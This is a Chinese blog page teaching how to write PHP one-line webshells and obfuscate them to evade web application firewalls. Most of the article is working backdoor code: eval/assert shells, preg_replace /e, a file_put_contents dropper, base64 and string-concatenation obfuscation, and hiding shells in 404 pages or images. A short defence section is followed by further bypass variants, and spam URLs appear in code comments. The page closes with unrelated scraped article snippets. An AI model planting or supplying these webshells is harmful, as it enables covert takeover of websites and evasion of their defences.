如何让一句话木马绕过waf的检测 ?

2023-10-26

一、什么是一句话木马?

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。

二、我们如何发送命令,发送的命令如何执行?

我们可以通过 GET、POST、COOKIE这三种方式向一个网站提交数据,一句话木马用 $_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。 所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。

0.eval函数

<?php eval($_POST['a']) ?>

其中eval就是执行命令的函数,**$_POST['a’]**就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

因为木马是接收post请求中 “a” 的数据( $_POST['a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,

使用 其他函数制作一句话木马

1.assert函数

<?php assert(@$_POST['a']); ?>

2.create_function函数

<?php

// https://www.bz80.vip

$fun = create_function('',$_POST['a']);

$fun();

?>

把用户传递的数据生成一个函数fun(),然后再执行fun()

3. call_user_func回调函数

<?php

// https://www.bz80.com

@call_user_func(assert,$_POST['a']);

?>

call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。

这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

4.preg_replace函数

<?php

// https://www.woailunwen.com

@preg_replace("/abcde/e", $_POST['a'], "abcdefg");

?>

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

5. file_put_contents函数

利用函数生成木马

<?php

// https://www.2017549.com

$test='<?php $a=$_POST["cmd"];assert($a); ?>';

file_put_contents("Trojan.php", $test);

?>

函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。

6.array数组

<?php

// https://www.sanweie.com

$a='assert';

array_map("$a",$_REQUEST);

?>

上述定义参数a并赋值'assert’,利用array_map()函数将执行语句进行拼接。最终实现assert($_REQUEST)。

<?php

$item['JON']='assert';

$array[]=$item;

$array[0]['JON']($_POST["TEST"]);

?>

利用函数的组合效果,使得多个参数在传递后组合成一段命令并执行。

7.PHP变量函数

<?php

$a = "eval";

$a(@$_POST['a']);

?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

三、如何让一句话木马绕过waf ?

waf是网站的防火墙,例如安全狗就是waf的一种。waf通常以关键字判断是否为一句话木马,但是一句话木马的变形有很多种,waf根本不可能全部拦截。想要绕过waf,需要掌握各种PHP小技巧,掌握的技巧多了,把技巧结合起来,设计出属于自己的一句话木马。

2.PHP可变变量

<?php

$bb="eval";

$aa="bb";

$$aa($_POST['a']);

?>

看这句就能理解上述语句:$$aa = ( ((aa) = $ ('bb’) = $bb = “eval”

3.str_replace函数

<?php

$a=str_replace("Waldo", "", "eWaldoval");

$a(@$_POST['a']);

?>

函数功能:在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"Waldo"。

4. base64_decode函数

<?php

$a=base64_decode("ZXZhbA==")

$a($_POST['a']);

?>

这里是base64解密函数,"ZXZhbA=="是eval的base64加密。

5."."操作符

<?php

$a="e"."v";

$b="a"."l";

$c=$a.$b;

$c($_POST['a']);

?>

6.parse_str函数

<?php

// https://www.ning8.cn

$str="a=eval";

parse_str($str);

$a($_POST['a']);

?>

执行这个函数后,生成一个变量$a,值为字符串"eval"

7.更换数据来源

7.1GET篇

<?php $_GET[a]($_GET[b]);  ?>

<?php @eval( $_GET[$_GET[b]])>

利用方法:

b=cmd&cmd=phpinfo()

7.2利用script代替<? 、?>标签

<script language="php">@eval_r($_GET[b])</script>

7.3利用session

8.字符替换或特殊编码

9.木马藏匿

1.404页面

2.图片木马,用文件包含调用

四、总结

绕过技巧:

更换执行数据来源

字符替换或者编码

采取隐匿手段

tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

五、防御

1.禁用assert()函数,监控eval()

2.搜索日志的assert。

亦可能绕过:

<?php

// https://www.bang4.cn

$c=$_GET[n].'t';

 @$c($_POST[cmd]);

 ?>

<?php 

// https://www.ning9.com

$c=base64_decode('YXNzZXI=').$_GET[n].'t';

 @$c($_POST[cmd]);

 ?>

我还是我,那个年少的董小宝

分类: php

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

如何让一句话木马绕过waf的检测 ? 的相关文章

  • 如何配置 nginx 重写规则以使 CakePHP 在 CentOS 上运行?

    大家好 请帮帮我 我正在尝试在运行 Nginx 和 Fact CGI 的 Centos 服务器上设置 cakephp 环境 我已经在服务器上运行了一个 WordPress 站点和一个 phpmyadmin 站点 因此我已经正确配置了 PHP
  • Laravel Eloquent 预加载:加入同一个表两次

    我有一个users表和一个约会桌子 在约会表中 我有两个用户 ID customer id staff id 我想检索所有带有客户姓名和员工姓名的约会 users table id name appointments table id st
  • PHP 读取使用 setcookie() 创建的 cookie

    来自manual https www php net setcookie 直到下一次加载 Cookie 应该可见的页面之前 Cookie 才会变得可见 这意味着创建的 cookiesetcookie将无法访问 COOKIE直到下一页加载 有
  • 禁用外部点击时关闭模式

    我正在制作一些使用模式的博客物质化 但我的模态 onclick 外部和错误数据有问题 这是我的代码 main js function changepassword var user userlog val var content conte
  • 使用 PHP 更新 XML 节点

    我有一个 XML 文件 test xml
  • 如何在没有 session_destroy 的情况下销毁 Zend_Session_Namespace

    我使用以下方法在临时会话中存储一些值 job new Zend Session Namespace application 我如何只销毁会话应用无需清除所有会话 要从会话中删除值 请对对象属性使用 PHP 的 unset 函数 假设 job
  • PHP Github Pull 脚本错误“权限被拒绝(公钥)”

    我已经设置了一个 PHP 脚本来执行 GitHub 拉取 这包含在我的 Github 文件夹中 home mysite public html github github pull php 我的服务器已经有 SSH 公钥 就像我执行git
  • PHP 中的静态类初始值设定项

    我有一个带有一些静态函数的辅助类 类中的所有函数都需要一个 重 初始化函数来运行一次 就好像它是一个构造函数 有实现这一目标的良好实践吗 我唯一想到的就是打电话init函数 如果它已经运行过一次 使用静态 initialized变种 问题是
  • 计算 PHP 字符串中特定字符的所有出现次数的最有效方法是什么?

    计算 PHP 字符串中特定字符的所有出现次数的最有效方法是什么 用这个 echo substr count abca a will echo 2
  • 在 mysqli 准备好的语句程序风格中获取最后插入的 id 的正确方法是什么?

    我正在使用 mysqli 准备好的语句在表中插入记录 如下所示 link mysqli connect localhost my user my password world check connection if link printf
  • php隐藏所有错误[重复]

    这个问题在这里已经有答案了 隐藏的最佳做法是什么allPHP 错误 因为我不想向用户显示错误 我尝试过使用 htacess通过输入代码php flag display errors off在那里 但它返回给我一个500 error 还有其他
  • Zend RegEx Validator 的自定义有意义的错误消息

    我正在验证表单中的文本字段 如下所示 name new Zend Form Element Text name name gt setLabel First Name gt setRequired true gt addFilter new
  • 当路由不存在时重定向 laravel 4

    我正在使用 laravel 4 当我的项目处于生产模式时 我得到 抱歉 找不到您要查找的页面 当我到达一条不存在的路线时 当我 grep 我的代码时 它在两个地方找到 vendor symfony debug Symfony Compone
  • 细胞的 fpdf 对齐

    我正在尝试使用生成 PDFfpdf我有一个小问题 我需要有 2 个单元格 如下所示 Address Line 1 Version Address Line 2 1 0 City 06 05 2011 我尝试过使用MultiCell 但没有运
  • 从检查元素隐藏 ''

    我有这个 HTML 和 PHP 联系表
  • Laravel,控制器中的 Auth::user()

    Laravel 框架 为什么我无法在 laravel 项目的控制器中使用 Auth user 查看用户是否已登录 Session 是否未连接到控制器 HomeController php public function isauthoriz
  • 2 使用我的代码在数组中查询

    我使用滑块来显示我的 WordPress 精选文章 它选择一个自定义类别并返回一定数量的帖子 如何将显示的第一篇帖子设为自定义帖子 我可以直接在滑块代码中添加特定帖子的 ID吗使该帖子首先出现 然后是原始查询返回的其他内容 例如 在页面上
  • 创建单个随机 Magento 优惠券

    我遇到了一些麻烦 我想要做的是每次有人订阅我们的时事通讯时 在 Magento 中自动生成一个随机优惠券代码 这张优惠券可减 10 美元 并且有exp 订阅后两周的日期 因此 我正在尝试编写一个简单的脚本 当提交 订阅我们的时事通讯 表单时
  • WordPress - 类别和子类别的嵌套列表

    我正在尝试显示带有嵌套子类别的 WordPress 类别列表 到目前为止 我只能获取父类别列表或不包括父类别的子类别列表 但我无法将两者连接在一起 这是我想要创建的结果 Parent Category 子类别 子类别 Parent Cate
  • sqlite3和pdo_sqlite有什么区别

    我正在将我的 Web 应用程序从 MySQL 迁移到 SQLite 数据库 我发现有两个 PHP 扩展用于与 sqlite 通信 php sqlite3 dll and php pdo sqlite dll 什么扩展比较好 或者另一个问题

随机推荐

  • 使用MQTT.fx向ThingsBoard发布遥测数据

    一 在ThingsBoard平台新建设备 复制访问令牌 二 打开MQTT fx进行连接 填写服务地址及端口以及设备访问令牌 特别注意 这里踩了个深坑 这个端口一定要对应thingsboard服务thingsboard yml中的配置 这个端
  • c语言回文数

    回文数 include
  • 微信小程序:云开发·初探

    Good days give you happiness and bad days give you experience 顺境带来快乐 逆境带来成长 云开发 quickstart 这是云开发的快速启动指引 其中演示了如何上手使用云开发的三
  • VSCode集成PlantUML

    VSCode集成PlantUML 哈喽大海豚 前端 2018 01 23 前端 UML PlantUML VSCode PlantUML介绍 PlantUML是一个允许快速编写以下图类的组件 序列图 Sequence diagram 用例图
  • 常见Windows硬件故障

    电脑主机滴滴滴响是什么原因 不同的响声代表不同的硬件问题 一下是几种主板设置的提示声音代表的具体问题 1 AWARD的BIOS设定为 长声不断响 内存条未插紧 2短 系统正常启动 2短 CMOS设置错误 需重新设置 1长1短 内存或主板错误
  • CollAFL: Path Sensitive Fuzzing 模糊测试论文阅读

    CollAFL Path Sensitive Fuzzing 会议 S P2018 这是一篇内容十分饱满的Fuzz文章 受益匪浅 1 Abstract and Introduction 对于覆盖率引导的模糊测试来说 跟踪覆盖率是至关重要的
  • IT风投案例分析——facebook

    Facebook 虽然Facebook对于中国人来说是一个不存在的网站 但这并不能妨碍它成为世界前列的互联网公司 Facebook是很特殊的 它的创始人扎克伯格1984年出生 在2004年就开始创建Facebook 当时他只有仅仅二十岁 那
  • Vivado软件的一些报错总结

    1 Synth 8 2543 port connections cannot be mixed ordered and named E FPGA project Xilinx ZYNQ three days sobel 032 face o
  • 渗透测试概述与流程

    渗透测试概述 渗透测试是一种通过模拟攻击的技术与方法 挫败目标系统的安全控制措施并获得控制访问权的安全测试方法 网络渗透测试主要依据CVE已经发现的安全漏洞 模拟入侵者的攻击方法对网站应用 服务器系统和网络设备进行非破坏性质的攻击性测试 C
  • 华为od 安全测试岗 简谈机试面试【更新完】

    PS 准备慢慢更新下最近我在od的机试题以及一二轮面试题和hr面 主管面 最后成功拿到offer 但不打算去了 然后成功让对接人破防 od懂得都懂 流程是 机试 gt 一面 gt 中间穿插了性格测试考试 gt 二面 gt HR面 gt 综面
  • 关于微信小程序的生命周期

    关于微信小程序的生命周期 onLaunch 官网App vue App uvue uni app官网 问题描述 我现在有个小程序 取名为a 有个用户b 从来没有打开过小程序 那么他第一次打开小程序的时候会触发onLaunch 然后用户b退出
  • flask+mysql+ECharts+ajax+百度地图实现数据可视化

    思路 1 后台连接数据库创建session对象 2 创建表关系映射 3 查询数据 4 将数据封装成特定格式 json 5 前台通过ajax请求指定路由异步加载数据并在地图上展示 先来看一下效果 地图参考 https gallery echa
  • uniapp tabbar底部栏 子组件页面不刷新解决方案

    场景 uniapp 来回切换底部栏tabbar 页面初始化数据 当前子组件页面会发送数据请求 再次切换进入 当前页面的子组件不发送请求 解决方案 1 父组件在onShow钩子里面中向子组件传递随机数 2 子组件接收数据 并进行watch监听
  • Android 系统设置中显示设置之休眠和屏保设置篇

    Android 系统设置中显示设置之休眠和屏保设置篇 在上一篇中我们学习了Android系统设置中字体大小和屏幕旋转设置基本内容 在这一篇中我们继续学习显示设置中的休眠和屏保设置 1 休眠设置 首先我们来看一下休眠设置在界面中的定义 1
  • js--for循环99乘法表的四种样式

  • Eclipse/Code blocks/PyCharm连接MySQL数据库初尝试

    第一次使用MySQL 在此罗列我搭配环境的一些路程 我最终Code blocks和Eclipse成功了 Pycharm一直因为版本不合适未成功 我也把我试过的未成功的方法罗列在此 希望可以得到最终的解决 Code blocks 我在用cod
  • Cocos Creator组件化开发之——地图类缩放拖动点击组件

    好记性不如烂笔头 记录开发过程中的点点滴滴 xshu 书写是对思维的缓存 佚名 进入正题 在游戏开发过程中经常会遇到渲染元素的尺寸大于你所能展示的区域 需要玩家自行进行操作 拖动以及点击 比如地图通常会超出玩家所示区域 这个时候需要一个能够
  • STM32F103ZET6+IIC+SGP30气体传感

    STM32F103ZET6 IIC SGP30气体传感 为了加深对IIC协议的理解和应用 接下来 使用STM32驱动SGP30气体传感传感器 准备IIC协议 用的还是之前的那些代码 只是把GPIO引脚口改了一下而已 1 声明GPIO和IIC
  • 虚拟地址空间和物理地址空间

    1 概念 物理地址 物理地址空间是实在的存在于计算机中的一个实体 在每一台计算机中保持唯一独立性 我们可以称它为物理内存 如在32位的机器上 物理空间的大小理论上可以达到2 32字节 4GB 但如果实际装了512的内存 那么其物理地址真正的
  • 如何让一句话木马绕过waf的检测 ?

    一 什么是一句话木马 一句话木马就是只需要一行代码的木马 短短一行代码 就能做到和大马相当的功能 为了绕过waf的检测 一句话木马出现了无数中变形 但本质是不变的 木马的函数执行了我们发送的命令 二 我们如何发送命令 发送的命令如何执行 我